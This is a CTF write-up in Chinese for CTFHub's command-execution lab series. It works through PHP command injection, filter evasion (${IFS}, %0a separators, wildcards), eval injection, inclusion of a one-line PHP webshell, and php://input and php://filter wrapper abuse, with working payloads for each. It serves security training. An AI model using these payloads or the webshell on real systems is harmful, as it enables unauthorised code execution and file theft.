CTFHub-技能樹-命令執行
1.命令注入
給了源碼:
// 關鍵代碼
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 傳入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 運行命令,可以拼接
exec($cmd, $res);// 執行cmd,把結果輸出到res
}
if ($res) {
print_r($res);// 打印結果
}
show_source(__FILE__);
?>
根據第五行代碼,這里直接拼接就行
看到有一個php文件,8061098418328.php
,直接用cat,但是沒有顯示
考慮到有特殊字符,無法回顯,使用base64編碼,拿到flag。
這里用到了管道符|
,表示把上一條命令的輸出作為下一條命令的輸入
2.過濾cat
過濾cat,類似cat的指令這里有一堆
和上一題思路一樣,拼接語句
先用ls查看文件名
再用一個類似於cat的指令查看內容並以base64格式輸出
下一題
3.過濾空格
空格用${IFS}
代替即可,還可以使用IFS$9、%09、<、>、<>、{,}、%20
來代替空格
其余思路和上一題一樣
4.過濾目錄分隔符
emmmm,我想的是,過濾了目錄分隔符/
那我就不用了,
直接用;
拼接命令即可,其余思路一樣
payload: 127.0.0.1;cd flag_is_here;cat flag_159229063344.php | base64
5.過濾運算符
前邊只有base64編碼的時候用到了運算符,而file | base64
也可以寫成base64 file
剩下的思路以之前一致
6.綜合過濾練習
過濾了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正則f***
ctfhub應該用不到
查了一下,在linux下,命令分隔符除了;
還能用%0a
(換行符)
有了;就可以不用運算符了
然后按着之前的思路去做就可以了
最終的payload
!這里要注意,因為%0a是url編碼,所以一定要輸在url中,否則%0a會被再次編碼
查看目錄127.0.0.1%0als
查看文件夾內容127.0.0.1%0acd${IFS}f***_is_here%0als
查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php
7.eval執行
-
題目
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
-
直接運行cmd參數,沒有過濾,使用system函數即可執行bash命令
-
解題
eval():將傳入的參數當作php代碼執行,所以傳參需要傳入
;
ls/find找到flag,再cat即可
8.文件包含
-
題目內容
-
index.php
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
如果GET參數file中沒有關鍵詞
flag
,則包含file參數所指文件include、require等包含類文件,會把指定文件中的內容當作php代碼執行,當然不同函數有區別,開源在php manual查一下
-
shell.txt
<?php eval($_REQUEST['ctfhub']);?>
shell.txt是php一句話馬
-
-
解題過程
構造payload,包含
shell.txt
並執行傳入的參數?file=shell.txt&ctfhub=PHP_CODE;
因為不能含有關鍵詞
flag
,所以最后利用通配符*
來完成文件讀取,fla*
9.php://input
-
題目內容
-
index.php
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag? phpinfo
如果GET參數file的開頭為
php://
則包含file -
phpinfo
給了phpinfo,看了下
allow_url_include/fopen
都為On,那么就可以利用php偽協議進行命令執行/文件讀取
-
-
解題過程
既然題目是
php://input
,那就用它吧php://input === POST包的body
那么
/?file=php://input
,最終效果為include(php://input);
我們只需要把POST的body設置為我們要執行的php代碼即可
10.讀取源代碼
-
題目內容
-
index.php
<?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> flag in <code>/flag</code> i don't have shell, how to get flag? flag in /flag
包含部分代碼和上一題一樣,php://開頭即可
此外,題目指出flag位置
/flag
-
-
解題過程
使用php偽協議
php://filter
進行文件讀取,因為是flag,所以不需要編碼構造payload:
?file=php://filter/read/resource=/flag
11.遠程包含
-
題目內容
和
php://input
一樣,本意應該是讓我們把php腳本傳到自己的vps上,然后使用url遠程包含,達到rce的目的即file===你的url
-
解題過程
因為vps暫時沒法用,偷懶一下,和
php://input
用的一樣的解